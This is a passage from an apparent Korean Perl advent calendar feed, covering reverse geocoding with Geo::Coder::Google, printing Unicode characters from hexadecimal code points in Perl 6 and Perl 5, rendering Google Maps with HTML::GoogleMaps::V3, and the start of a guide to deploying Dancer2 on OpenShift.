결과는 해시 참조(reference)를 반환하며 여기에 저장된 항목은 크게 다음과 같은 구조를 가집니다.</p>
<ul>
<li><code>address_components</code></li>
<li><code>formatted_address</code></li>
<li><code>geometry</code></li>
<li><code>place_id</code></li>
<li><code>types</code></li>
</ul>
<p>우리가 흔히 필요로 하는 최종 결과물은 <code>formatted_address</code>에 문자열로 저장되어 있거나
<code>address_components</code>에 배열 참조로 각각의 주소 체계에 맞는 정보가 저장되어 있습니다.
<code>$result->{formatted_address}</code>의 값을 출력하면 일단 우리가 원하는 역지오코딩 결과를 확인할 수 있습니다.
실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./reverse-geocoding.pl
1 Sejongno, Jongno-gu, Seoul, South Korea
$
</pre>
<p>어라, 결과가 영어로 나오는 군요.
구글은 전세계적으로 서비스를 지원하기 때문에 다양한 언어를 지원하지만
특별히 언어를 설정하지 않은 경우 기본적으로 영어로 결과를 반환하기 때문입니다.
<code>Geo::Coder::Google</code> 모듈은 <code>language</code> 속성을 지원하므로 이를 사용해서 한국어로 설정해보죠.</p>
<pre class="brush: perl;">
my $geocoder = Geo::Coder::Google->new(
apidriver => 3,
api_key => "AIzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHkY",
language => "ko",
);
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./reverse-geocoding.pl
Wide character in say at ./reverse-geocoding.pl line XX.
대한민국 서울특별시 종로구 세종로 1
$
</pre>
<p>원하는 결과가 나온 것 같긴한데 <code>Wide character ...</code> 관련 경고가 발생하네요.
이것은 표준 출력의 인코딩을 설정하면 간단히 해결할 수 있습니다.</p>
<pre class="brush: perl;">
use Geo::Coder::Google;
binmode STDOUT, ":utf8";
my $geocoder = Geo::Coder::Google->new(
...
);
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./reverse-geocoding.pl
대한민국 서울특별시 종로구 세종로 1
$
</pre>
<p>이제 정말 잘 되는 것 같네요. :-)</p>
<h2>정리하며</h2>
<p>비단 <a href="https://developers.google.com/maps/documentation/geocoding/intro?hl=ko">구글 지도</a> 뿐만 아니라
<a href="https://developers.naver.com/docs/map/overview">네이버 지도</a>와 <a href="http://apis.map.daum.net/web/sample/addr2coord/">카카오(다음) 지도</a>도
지오코딩과 역지오코딩 기능을 지원하니 관심이 있다면 한 번쯤 확인해보세요.
여러분이 인지는 못했겠지만 사실 지오코딩의 역사는 무척 오래되었으며,
컴퓨터를 이용한 무료 지도 서비스와 스마트폰의 지도 서비스가 일상이 되면서
우리는 하루에도 몇 번씩 지오코딩과 역지오코딩 기능을 사용하고 있습니다.
위치 기반 서비스가 일상이 된 지금 지도와 지오코딩 등에 대해서 자세히 알아두면 꽤 유용하겠죠? :-)</p>
<p><em>EOT</em></p>
2016-12-08T00:00:00+09:00keediPerl로 유니코드(Unicode) 코드 포인트(code point)에 해당하는 글자를 확인해보자.http://advent.perl.kr/2016/2016-12-07.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/studioego">@studioego</a> - 평범한 자바 개발자입니다.
어릴 때 남들은 영어를 배울 때, 혼자서 한자를 배웠던 사람.
한자(漢字, 汉字, Chinese Character)에 대하여 관심이 많으며, 동아시아 언어 처리에 관심이 많음.
취미로 일본어와 중국어를 열심히 공부하고 있습니다.
유니코드 한자관련 내용에 흥미가 있어 유니코드 컨소시엄의 후원 문자(Adopted Characters)에 <a href="http://www.unicode.org/consortium/adopted-characters.html#b5FB7">후원</a>을 하기도 했습니다.
GNOME gucharmap 9.0.2버전부터 한자에 대한 한글표기와 베트남어 표기를
추가(<a href="https://bugzilla.gnome.org/show_bug.cgi?id=773380">버그질라</a>, <a href="https://github.com/GNOME/gucharmap/commit/b3614d114bc2158f8e5c4b98797019f3a71d0ba7">소스 코드</a>)한
오픈소스 기여자(contributer), 자유 소프트웨어 개발자입니다.
sungdh86+git <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>이 글은 O’Reilly의 Learning Perl 책의 저자인 brian d foy씨가 운영하는 Learning Perl 6 블로그의
<a href="https://www.learningperl6.com/2016/11/27/quick-tip-12-unicode-helper-apps/">Quick Tip #12: Unicode Helper Apps</a>의 내용을 참고하여 만들었습니다.
저는 문자 특히 한자(漢字/汉字)에 대하여 관심이 많은 사람입니다.
그래서 한자 처리에 대한 내용을 찾다보니 Perl이란 언어에 대하여 관심을 가지게 되었습니다.
저는 리눅스 배포판에 탑재된 <a href="https://wiki.gnome.org/action/show/Apps/Gucharmap">GNOME gucharmap</a>, <a href="https://utils.kde.org/projects/kcharselect/">KDE kcharselect</a>와 같은 문자표 프로그램을 좋아합니다.</p>
<p><img src="2016-12-07-1_r.png" alt="GNOME gucharmap(그놈 문자표)" id="gnomegucharmap" />
<em>그림 1.</em> GNOME gucharmap(그놈 문자표) (<a href="2016-12-07-1.png">원본</a>)</p>
<p>그리고 Mac을 사용하고 있다보니 Unicode Checker같은 프로그램도 좋아합니다.</p>
<p><img src="2016-12-07-2_r.png" alt="맥용 Unicode Checker" id="unicodechecker" />
<em>그림 2.</em> 맥용 Unicode Checker (<a href="2016-12-07-2.png">원본</a>)</p>
<p><strong>GNOME gucharmap</strong>이나 <strong>Unicode Checker</strong> 프로그램을 사용하면 유니코드를
이름으로 검색할 수 있고, 코드 포인트로 검색할 수 있으며, 문자를 붙여놓을 수 있습니다.
문자표의 기능에 대하여 관심이 많다보니, 2016년 11월에 GNOME 문자표(gucharmap) 9.0.2버전에
C언어와 Perl코드로 <strong>한자(漢字/汉字)</strong>의 한국어 한글 표기와 베트남어 표기 기능을
추가(<a href="https://bugzilla.gnome.org/show_bug.cgi?id=773380">버그질라</a>, <a href="https://github.com/GNOME/gucharmap/commit/b3614d114bc2158f8e5c4b98797019f3a71d0ba7">소스 코드</a>)했습니다.
<strong>GNOME gucharmap</strong>이나 <strong>Unicode Checker</strong> 프로그램으로 알아낸
16진수로 구성된 코드 포인트를 이용해 Perl로 문자를 표시해볼까요?</p>
<h2>준비물</h2>
<p>Perl 6를 설치합니다.
그리고 Perl 5도 있으면 Perl 6와 어떤 차이가 있는지 비교할 수 있습니다.</p>
<h2>유니코드와 코드 포인트</h2>
<p><a href="https://en.wikipedia.org/wiki/Unicode">유니코드(Unicode)</a>는 전 세계의 모든 문자를 컴퓨터에서 일관되게 표현하고 다룰 수 있도록 설계된 산업 표준이며,
유니코드 협회(Unicode Consortium)에서 제정을 하고 있습니다.
현재의 유니코드는 지구상에서 통용되는 대부분의 문자들을 담고 있으며,
악보기호, 이모지(Emoji, 絵文字) 및 특수문자, 등을 담고 있습니다.
유니코드는 1991년 10월에 최초 버전인 <a href="http://www.unicode.org/versions/Unicode1.0.0/">1.0.0</a>이 발표되었으며,
약 5년이 지난 1996년 7월에 <a href="http://www.unicode.org/versions/Unicode2.0.0/">유니코드 2.0.0</a>에 한글 11,172자가 모두 포함되었습니다.
현재 버전은 2016년 6월 21일 제정된 <a href="http://unicode.org/versions/Unicode9.0.0/">9.0.0</a>입니다.</p>
<p>유니코드 문자의 경우는 문자의 코드값를 표기할 때 코드 포인트(code point)를 사용하며, <code>U+[16진수 숫자]</code>로 표시합니다.
예를 들어 <code>A</code>의 유니코드 값은 <code>U+0041</code>로 표기 하며 <code>가</code>’의 유니코드 값은 <code>U+AC00로</code> 표기합니다.
유니코드는 논리적으로 <a href="https://en.wikipedia.org/wiki/Plane_(Unicode)">평면(plane)</a>이란 개념을 이용하여 구획을 나눕니다.
이 구획은 <a href="https://en.wikipedia.org/wiki/Plane_(Unicode)#Basic_Multilingual_Plane">BMP(다국어 기본 평면)</a>, <a href="https://en.wikipedia.org/wiki/Plane_(Unicode)#Supplementary_Multilingual_Plane">SMP(다국어 보충 평면)</a>,
<a href="https://en.wikipedia.org/wiki/Plane_(Unicode)#Supplementary_Ideographic_Plane">SIP(상형 문자 보충 평면)</a>, <a href="https://en.wikipedia.org/wiki/Plane_(Unicode)#Supplementary_Special-purpose_Plane">SSP(특수 목적 보충 평면)</a>,
<a href="https://en.wikipedia.org/wiki/Private_Use_Areas#Private_Use_Areas">PUA(사용자 정의 영역)</a>등이 정의되어 있습니다.</p>
<p>여러 한자를 다루는 관련 사이트에서는 한자에 해당하는 유니코드(Unicode)의 코드 포인트(code point)로 한자를 표현합니다.
예를 들면 유니코드 <code>韓</code>의 코드 포인트는 <code>U+97D3</code>입니다.
한자의 자형(字形)을 모은 <a href="http://ko.glyphwiki.org">GlyphWiki(글리프위키)</a>의 경우,
한자에 해당하는 코드 포인트 값을 이용하여 중국어 번체, 간체, 일본어, 한국어, 베트남어의 한자 자형을 보여주고 있습니다
<code>韓</code>을 <a href="http://ko.glyphwiki.org/wiki/u97d3">글리프위키 URL</a>에서는 <code>u97d3</code>으로 표기합니다.
그리고 중국에서 만든 한자 사전인 <a href="http://www.zdic.net/">漢典</a>의 경우도 한자에 해당하는 코드 포인트 값을 이용하여 한자의 뜻과 발음, 부수등을 표기하고 있습니다.
<code>韓</code>을 <a href="http://www.zdic.net/z/27/js/97D3.htm">zdic URL</a>에서는 <code>97D3</code>으로 표기합니다.
<a href="http://www.unicode.org">유니코드 컨소시엄(Unicode Consortium)</a>도 한자에 대한 코드 포인트로 한자에 대한 정보를 보여줍니다.
<code>韓</code>을 <a href="http://www.unicode.org/cgi-bin/GetUnihanData.pl?codepoint=97D3">유니코드 컨소시엄 URL</a>에서는 <code>97D3</code>으로 표기합니다.
<a href="http://www.kostma.net/segment/segmentList.aspx">한국학자료센터의 고문서 서체 용례 사전</a>도 코드 포인트를 이용하여 한자에 대한 정보를 보여줍니다.
<code>韓</code>을 <a href="http://www.kostma.net/segment/segmentList.aspx?unicode=97D3">한국학자료센터 URL</a>에서는 <code>97D3</code>으로 표기합니다.</p>
<h2>코드 포인트로 유니코드를 출력해보자!</h2>
<p>이제 Perl 6로 <strong>GNOME gucharmap</strong>이나 <strong>Unicode Checker</strong>같은 나만의 프로그램을 작성할 수 있습니다.
코드 포인트를 받아서 문자를 표시하는 방법은 다음과 같습니다.
이 때 터미널 인코딩은 <strong>UTF-8</strong>로 설정했다고 가정합니다.</p>
<pre class="brush: bash;">
$ perl6 -e 'for @*ARGS { say chr(:16($_)) }' 97D3 570B
韓
國
</pre>
<p><code>:16()</code>은 문자열 인수를 16진수로 해석합니다.
2진수 부터 36진수 사이의 진법의 문자열을 <code>:[숫자]()</code>로 붙여서 변환 할 수 있습니다.</p>
<p>Perl 5 에서는 다음과 같이 코드 포인트를 받아서 문자를 표시할 수 있습니다.
이 때 터미널 인코딩은 <strong>UTF-8</strong>로 설정했다고 가정합니다.</p>
<pre class="brush: bash;">
$ perl -le 'use open ":std", ":encoding(UTF-8)"; foreach $argnum (0 .. $#ARGV) { print chr(hex($ARGV[$argnum])) }' 97D3 5703
韓
國
</pre>
<p>16진수를 해석하는 <code>hex()</code>함수를 명시적으로 사용한 후에 문자열을 표시함을 알 수 있습니다.</p>
<p>방금 사용한 두 명령을 쉘에서 별칭으로 지정하면
일일이 번거롭게 키보드를 입력하는 수고를 줄이고 간단하게 사용할 수 있겠죠? :)</p>
<pre class="brush: bash;">
alias p6u2char='perl6 -e "for @*ARGS { say chr(:16(\$_)) }"'
alias p5u2char='perl -le 'use open ":std", ":encoding(UTF-8)"; foreach $argnum (0 .. $#ARGV) { print chr(hex($ARGV[$argnum])) }'
</pre>
<h2>정리하며</h2>
<p>Perl 6가 새로 나오는 것을 보면서 Perl 5와 Perl 6의 차이에 대하여 확인하다보니
<a href="https://www.learningperl6.com/">Learning Perl 6 블로그</a>의 <a href="https://www.learningperl6.com/2016/11/27/quick-tip-12-unicode-helper-apps/">Quick Tip #12: Unicode Helper Apps</a>이 눈에 띄더군요.
글을 읽고 정리하며 유니코드 개념과 코드 포인트개념을 정리하게 되었습니다.
Perl 6에서는 Perl 5와 다르게 2진수 부터 36진수 사이의 진법의 문자열 인수를 <code>:[진법 숫자]()</code>로 붙여서 변환 할 수 있습니다.
Perl 6는 Perl 5와 다르게 문자열 타입에 대하여 기본으로 유니코드(UTF-8 인코딩)를 지원하기 때문에
유니코드를 사용한다고 지정을 하지 않아도 쓸 수 있습니다.
그래서 명시적으로 UTF-8인코딩을 표시하지 않아도 그대로 사용 할 수 있는 것입니다.
아직까지 Perl 5, Perl 6의 차이점에 대하여 완전하게 숙지를 하지 않았지만,
Perl 6가 UTF-8 인코딩을 기본 지원하는 것을 보니, 유니코드로 언어를 처리하는 것이 편해짐을 느낍니다.
문자 사전을 만들게 된다면 문자에 할당된 코드 포인트를 이용하여 만들면 쉽게 정리할 수 있을 것 같네요.</p>
<h2>뱀다리</h2>
<p>Perl의 강력한 문자 처리 기능을 이용한 프로그램 및 사이트를 몇가지 소개합니다.
그 중 하나는 기사에서도 언급한 <strong>GNOME gucharmap</strong> (<strong>GNOME 문자표</strong>) 프로그램입니다.
<strong>GNOME gucharmap</strong>의 한자 자료는 유니코드 컨소시엄(Unicode Consortium)에서
공개한 문자 자료(Unihan database)를 Perl로 처리를 한후, 문자표 화면에 내용을 공개하고 있습니다.
다른 하나는 일본의 언어관련 연구자들이 만든 <a href="http://www.chise.org/">CHISE(CHaracter Information Service Environment) Project</a>에서
구현한 <a href="http://www.chise.org/perl/index.html">Perl을 이용한 한자 데이터베이스 모듈</a>이 있습니다.
마지막 자료는 대만의 <a href="#moedict">MoeDict(萌典)</a>입니다.</p>
<p><img src="2016-12-07-3_r.jpg" alt="MoeDict" id="moedict" />
<em>그림 3.</em> MoeDict (<a href="2016-12-07-3.jpg">원본</a>)</p>
<p>대만(중화민국) 행정원의 무임소정무위원(장관급)으로 발탁이 된 천재 해커, 오드리 탕(Audrey Tang, 唐鳳)이 활동하는
대만의 유명한 시빅 해커그룹 <a href="http://g0v.tw/en-US/">g0v零時政府</a>에서 만든 한자 사전 MoeDict(萌典)의 경우,
중화민국 교육부(Ministry Of Education, Republic of China[Taiwan], 中華民國 教育部) 사이트에 공개된 사전자료를
Perl을 이용하여 처리 후 홈페이지 및 안드로이드 앱, 아이폰 앱을 만들어서 공개했습니다.
GitHub에 <a href="https://github.com/g0v/moedict-data-csld">Perl로 구현된 한자 처리 관련 저장소</a>도 존재합니다.
다음은 MoeDict 관련 링크입니다.</p>
<ul>
<li><a href="#moedict">MoeDict 홈페이지</a></li>
<li><a href="https://goo.gl/MOJVjg">MoeDict 안드로이드 앱</a></li>
<li><a href="https://goo.gl/rvK7D">MoeDict iOS 앱</a></li>
<li><a href="https://twitter.com/moedict">MoeDict Twitter</a></li>
<li><a href="https://www.facebook.com/MoeDict/">MoeDict Facebook</a></li>
<li><a href="https://github.com/g0v">MoeDict GitHub</a></li>
<li><a href="https://github.com/g0v/moedict.tw">Static API serving for moedict</a></li>
<li><a href="https://github.com/g0v/moedict-data-csld">Perl로 구현된 한자 처리 관련 저장소</a></li>
<li><a href="https://www.youtube.com/watch?v=FZTWuMrE4Dg">MoeDict - A dictionary including all the languages that Taiwan people speaks.</a></li>
<li><a href="https://github.com/g0v/moedict-epub">MoeDict 전자책</a></li>
</ul>
<h2>참고자료</h2>
<ul>
<li><a href="https://www.learningperl6.com/2016/11/27/quick-tip-12-unicode-helper-apps/">Learning Perl 6 블로그의 Quick Tip #12: Unicode Helper Apps</a></li>
<li><a href="https://wiki.gnome.org/action/show/Apps/Gucharmap">GNOME gucharmap</a></li>
<li><a href="https://utils.kde.org/projects/kcharselect/">KDE kcharselect</a></li>
<li><a href="https://earthlingsoft.net/UnicodeChecker/">Unicode Checker</a></li>
<li><a href="http://www.unicode.org">Unicode Consortium</a></li>
<li><a href="http://www.unicode.org/charts/">Unicode 9.0 전체 코드 차트</a></li>
<li><a href="http://www.unicode.org/reports/tr38/">Unicode Unihan Database</a></li>
<li><a href="http://www.unicode.org/charts/unihan.html">Unicode Unihan Lookup</a></li>
<li><a href="http://blog.unicode.org/2016/06/announcing-unicode-standard-version-90.html">Announcing The Unicode® Standard, Version 9.0</a></li>
<li><a href="http://d2.naver.com/helloworld/76650">한글 인코딩의 이해 2편: 유니코드와 Java를 이용한 한글 처리</a></li>
<li><a href="https://perl6advent.wordpress.com/2013/12/15/day-15-numbers-and-ways-of-writing-them/">Perl 6 Advent Calendar 2013 Day 15 - Numbers and ways of writing them</a></li>
</ul>
<h2>용어 정리</h2>
<ul>
<li>용어 정리 - 출처: Ken Lunde, CJKV Information Processing, 2nd Edition</li>
<li>Moe - Ministry of Education. Written 教育部(jiàoyùbù) in Chinese, 文部省(monbushō) in Japanese, and 교육부/教育部(gyoyukbu) in Korean.</li>
<li>Moe - Ministry of Education의 약칭. 중국어로 <code>教育部</code>로 쓰고 <code>jiàoyùbù</code>로 발음한다.
일본어로 <code>文部省</code>로 쓰고 <code>monbushō</code>로 발음한다.
한국어로는 <code>교육부</code>로 쓰고 한자는 <code>教育部</code>이며 <code>gyoyukbu</code>로 발음한다.</li>
</ul>
2016-12-07T00:00:00+09:00studioego너무 간단한 지도 그리기http://advent.perl.kr/2016/2016-12-06.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>홈페이지를 만들거나 누군가에게 위치를 알려준다던가 해야 할 일이 있다보면
지도를 화면에 띄우고 싶을 때가 꽤 많습니다.
아주 오래전과는 달리 요즘은 <a href="https://www.google.co.kr/maps/@37.5651,126.98955,11z?hl=en">구글</a>을 비롯해,
<a href="http://www.openstreetmap.org">오픈스트리트맵</a>, <a href="http://map.naver.com/?">네이버</a>,
<a href="http://map.daum.net/?">카카오(다음)</a> 등 공개 지도 서비스가 무척 잘되어 있기 때문에
컴퓨터에서 지도를 보여주는 일은 무척 쉬워졌지요.
대부분의 지도는 웹브라우저 위에 HTML 형식으로 보여주며,
자바스크립트를 이용해 제어하기 때문에 간단한 웹 지식만
있으면 누구나 금방 지도 화면을 다룰 수 있죠.
이미 충분히 간단하기는 하지만, 그럼에도 불구하고 Perl을 이용하면
지도를 그릴 때 필요한 번거로운 기본 작업을 더욱 더 줄여주기 때문에
정말 간단하게 지도를 표현할 수 있답니다.
펄을 이용해 가장 널리 사용하는 <a href="https://www.google.co.kr/maps/@37.5651,126.98955,11z?hl=en">구글맵</a>을 사용하는 법을 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/HTML::GoogleMaps::V3">CPAN의 HTML::GoogleMaps::V3 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan HTML::GoogleMaps::V3
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan HTML::GoogleMaps::V3
</pre>
<h2 id="googlemapsapi">Google Maps API 키</h2>
<p>구글 지도를 화면에 보여주기 위해서는 <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Google Maps API 키</a>가 필요합니다.
정확히는 구글 지도가 제공하는 표준 API를 사용하기 위한 표준 API 키를 발급 받아야 합니다.
API 키는 무료 API인 표준 API와 유료 API인 프리미엄 플랜이 있는데 관련해서는 구글의 API 관련 정책을 참고하세요.
우선 키를 발급 받기 위해 <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Google Maps API 키</a> 페이지에 접속해서
<strong>GET A KEY</strong> 버튼을 누릅니다.</p>
<p><img src="2016-12-06-1_r.png" alt="API 키 취득 1단계: GET A KEY!!" id="api1:getakey" />
<em>그림 1.</em> API 키 취득 1단계: GET A KEY!! (<a href="2016-12-06-1.png">원본</a>)</p>
<p>구글 지도 자바스크립트 API 키 활성화 팝업 창이 뜨면, <strong>API Project</strong>와
라이센스 정책을 동의한 다음 <strong>ENABLE API</strong> 버튼을 눌러 API를 활성화 시킵니다.</p>
<p><img src="2016-12-06-2_r.png" alt="API 키 취득 2단계: ENABLE API!!" id="api2:enableapi" />
<em>그림 2.</em> API 키 취득 2단계: ENABLE API!! (<a href="2016-12-06-2.png">원본</a>)</p>
<p>짜잔! 여기까지 문제가 없었다면 드디어 구글 지도를 사용하기 위한 API 키를 취득 했습니다. ;-)</p>
<p><img src="2016-12-06-3_r.png" alt="API 키 취득 3단계: ENABLE API!!" id="api3:enableapi" />
<em>그림 3.</em> API 키 취득 2단계: ENABLE API!! (<a href="2016-12-06-3.png">원본</a>)</p>
<p>발급받은 API 키는 무한정 사용할 수 있는 것이 아니라 자신의 계정에 귀속되어
사용할 수 있는 한도가 정해져 있으니 함부로 유출되지 않도록 주의합니다.
필요하다면 언제든지 변경이나 재발급이 가능하므로 관련해서는
<a href="https://developers.google.com/maps/">구글 지도 공식 문서</a>를 확인하세요.</p>
<h2>화면에 지도를 뿌리자</h2>
<p>자, 이제 모든 준비가 끌났습니다.
화면에 지도를 뿌려 볼까요?
우선 모듈을 적재하고 <code>HTML::GoogleMaps::V3</code> 객체를 생성해야겠죠.
이 때 <code>api_key</code> 속성을 이용해 발급 받았던 API 키를 넣어줍니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use HTML::GoogleMaps::V3;
binmode STDOUT, ":utf8";
my $map = HTML::GoogleMaps::V3->new(
api_key => "AIzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHkY",
);
</pre>
<p>이제 보여주고 싶은 지점을 콕 찍어볼까요?</p>
<pre class="brush: perl;">
$map->center("서울 종로구 세종로 1");
</pre>
<p>이제 <code>$map</code> 객체에서 결과물을 뽑아내보죠.</p>
<pre class="brush: perl;">
my ( $head, $map_div ) = $map->onload_render;
</pre>
<p><code>onload_render()</code> 메소드를 호출하면 <code>$head</code>에는 자바스크립트 코드가,
<code>$map_div</code>에는 지도 영역 HTML이 반환됩니다.
어떤 웹 페이지에서라도 쉽게 붙여 넣을 수 있게 두 가지가 분리된 코드를 반환하는 것이죠.
하지만 이것만으로는 화면에 띄우기 위한 완전한 HTML이 아니므로
약간의 HTML을 덧붙여봅시다.</p>
<pre class="brush: perl;">
print <<"END_HTML";
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
END_HTML
print $head . "\n";
print <<"END_HTML";
</head>
<body onload="html_googlemaps_initialize()">
END_HTML
print $map_div . "\n";
print <<"END_HTML";
</body>
</html>
END_HTML
</pre>
<p>끝났습니다.
이 스크립트를 실행하면 구글 지도를 포함한 HTML을 화면에 뿌려줍니다.
이를 재지향해서 HTML로 저장한 다음 웹브라우저로 열어보죠.</p>
<pre class="brush: bash;">
$ google-maps.pl > map.html
$ firefox map.html
</pre>
<p>호오!
이곳이 2016년 요즘 그렇게도 핫한 곳이라고 하더군요. :-)</p>
<p><img src="2016-12-06-4_r.png" alt="2016 대한민국 핫 플레이스" id="" />
<em>그림 4.</em> 2016 대한민국 핫 플레이스 (<a href="2016-12-06-4.png">원본</a>)</p>
<h2>위도? 경도?</h2>
<p><a href="https://ko.wikipedia.org/wiki/%EC%9C%84%EB%8F%84">위도(씨줄. 緯度, latitude)</a>는 지구상에서 적도를 기준으로 북쪽 또는 남쪽으로 얼마나 떨어져 있는지 나타내는 위치로,
단위는 도(°), 북극점을 나타내는 90° N(북위 90도)부터 남극점을 나타내는 90° S(남위 90도)까지의 범위 안에 있습니다.
<a href="https://ko.wikipedia.org/wiki/%EA%B2%BD%EB%8F%84">경도(날줄. 經度, longitude)</a>는 지구상에서 본초 자오선을 기준으로 동쪽 또는 서쪽으로 얼마나 떨어져 있는지 나타내는 위치로,
역시 단위는 도(°), 180° E(동경 180도)부터 180° W(서경 180도)까지의 범위 안에 있습니다.
간단히 말하면 위도는 세로 위치, 경도는 가로 위치를 의미하죠.
따라서 지구상의 모든 위치는 위도와 경도의 조합으로 표현할 수 있죠.</p>
<p><strong>"서울 종로구 세종로 1"</strong> 주소의 경우 위도와 경도의 조합으로 나타내면 다음과 같습니다.</p>
<pre class="brush: plain;">
37°35'11.9"N 126°58'36.4"E
</pre>
<p>주소를 이용해서 표현해야 할 때도 있지만 GPS 자료를 처리한다던가 등의 경우
이런 자료는 대부분 위도와 경도로 이루어진 문자열 자료기 때문에
위도와 경도를 기준으로 지도에 표히사는 방법이 필요할 때도 많습니다.
이 때는 배열 레퍼런스를 사용합니다.</p>
<pre class="brush: perl;">
$map->center( [ 126.9767701, 37.586652 ] ); # 서울 종로구 세종로 1
</pre>
<p>실제 웹브라우저의 구글 지도에서 입력하거나, 평상시 읽을 때는 위도와 경도 순으로 나열하지만,
모듈을 사용할 때는 경도와 위도 순으로 입력해야 함을 주의하세요.</p>
<h2>점 찍고 풍선 달기</h2>
<p>지도에 특정 위치를 지정하기 위해서는 <code>add_marker()</code> 메소드를 사용합니다.
<code>point</code> 속성을 이용해서 위도와 경도를 지정하는데 이 때 <code>center()</code> 메소드와
마찬가지로 경도와 위도 순으로 입력해야 함을 주의하세요.
<code>html</code> 속성을 이용해서 핀 모양의 아이콘을 클릭했을 때 보여줄 문자열을 HTML 형태로 넣을 수 있습니다.</p>
<pre class="brush: perl;">
$map->add_marker(
point => [ 126.9767701, 37.586652 ], # 서울 종로구 세종로 1
html => qq{<div class="map"><span> 범죄자를<br/>구속하라! </span></div>},
);
</pre>
<p>이 HTML을 미려하게 보여주고 싶다면 CSS를 활용하면 됩니다.
기존 <code><head></code> 영역에 CSS를 추가해보죠.</p>
<pre class="brush: perl;">
print <<"END_HTML";
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<style type="text/css">
.map {
background: red;
color: white;
font-family: "NanumMyeongjoExtraBold";
font-size: 28px;
font-weight: bold;
text-align: center;
}
</style>
END_HTML
</pre>
<p>이제 브라우저에서 확인해볼까요? :)</p>
<p><img src="2016-12-06-5_r.png" alt="형 지금 진지하다" id="" />
<em>그림 5.</em> 형 지금 진지하다 (<a href="2016-12-06-5.png">원본</a>)</p>
<h2>정리하며</h2>
<p>스마트폰 세상이 열리면서 지도를 활용하는 풍경을 보는 것은 너무 흔한 일입니다.
예전과 달리 한국에서 역시 구글 지도는 너무도 널리 사용되기 때문에
이미 그 인터페이스는 많은 사용자들에게 익숙하기도 하구요.
지도가 필요할 때 언제든지 주저하지 말고 펄을 이용해서
간단히 구글 지도를 사용한다면 여러분의 삶이나 서비스가 더욱 윤택해지겠죠? ;-)</p>
<p><em>EOT</em></p>
2016-12-06T00:00:00+09:00keediDancer2 웹 애플리케이션을 무료 PaaS에서 실행하기http://advent.perl.kr/2016/2016-12-05.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/unixware213">@unixware213</a> Sangyong Gwak - 컴맹입니다, 컴퓨터의 K도 몰라요. imyaman <em>at</em> netscape.net</p>
<h2>시작하며</h2>
<p>클라우드 서비스 중에 <a href="https://en.wikipedia.org/wiki/Platform_as_a_service">PaaS(Platform as a Service)</a>는, 소프트웨어 개발자에게
"인프라나 프레임워크 등에 신경 쓰지 말고 코드만 올려라"라는 가치를 준다고 생각하고 있습니다.
PaaS 솔루션 중에 여러가지가 있는데 이번엔 <a href="https://www.openshift.com/">OpenShift</a>를 이야기 해보겠습니다.
그리고 <strong>OpenShift</strong>를 기반으로 한 PaaS 중에 무료인 것도 소개하겠습니다.
그리고 그 PaaS위에 <strong>Dancer2</strong>로 만든 웹 사이트를 만들겠습니다.
<a href="https://metacpan.org/pod/Dancer2">Dancer2</a>는 Perl로 만들어진 가벼운 웹 애플리케이션 프레임워크입니다.
이 글을 차근차근 따라하면 무료로 웹 사이트 하나가 딱 나옵니다.</p>
<h2>준비물</h2>
<p>정확히 펄 모듈은 <strong>OpenShift</strong> PaaS 장비에 설치해야 합니다.
하지만 해당 PaaS장비에 설치하기 전에 동작을 확인하려면
실제 본인의 호스트 장비에 모듈을 설치해서 웹 응용이 동작함을 확인해야 합니다.
필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Dancer2">CPAN의 Dancer2 모듈</a></li>
<li><a href="https://metacpan.org/pod/Plack">CPAN의 Plack 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Dancer2 \
Plack
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Dancer2 \
Plack
</pre>
<p>무료 PaaS 서비스를 이용하기 위해 <a href="https://openpaas.cloud.or.kr/">Open PaaS</a> 계정을 만듭니다.
공식 사이트에 방문하여 우측 상단의 "서비스 신청" 링크를 클릭합니다.
개인 개발자로 계정을 만들면, 메모리 1GB와 저장공간 10GB인 <strong>OpenShift</strong> 애플리케이션을 3개까지 만들 수 있습니다.</p>
<p>기사에서 사용할 <code>rhc</code> 명령은 루비로 만들어져 있습니다.
<a href="http://ruby-lang.org/">Ruby 홈페이지</a>의 안내를 참조하여 설치합니다.
이미 시스템에 있다면 시스템 루비를 사용해도 됩니다.</p>
<p><strong>OpenShift</strong> 애플리케이션을 통제하기 위해 <code>rhc</code> 명령이 필요합니다.
루비 설치 후 다음 명령을 이용하여 설치합니다.</p>
<pre class="brush: bash;">
$ gem install rhc
</pre>
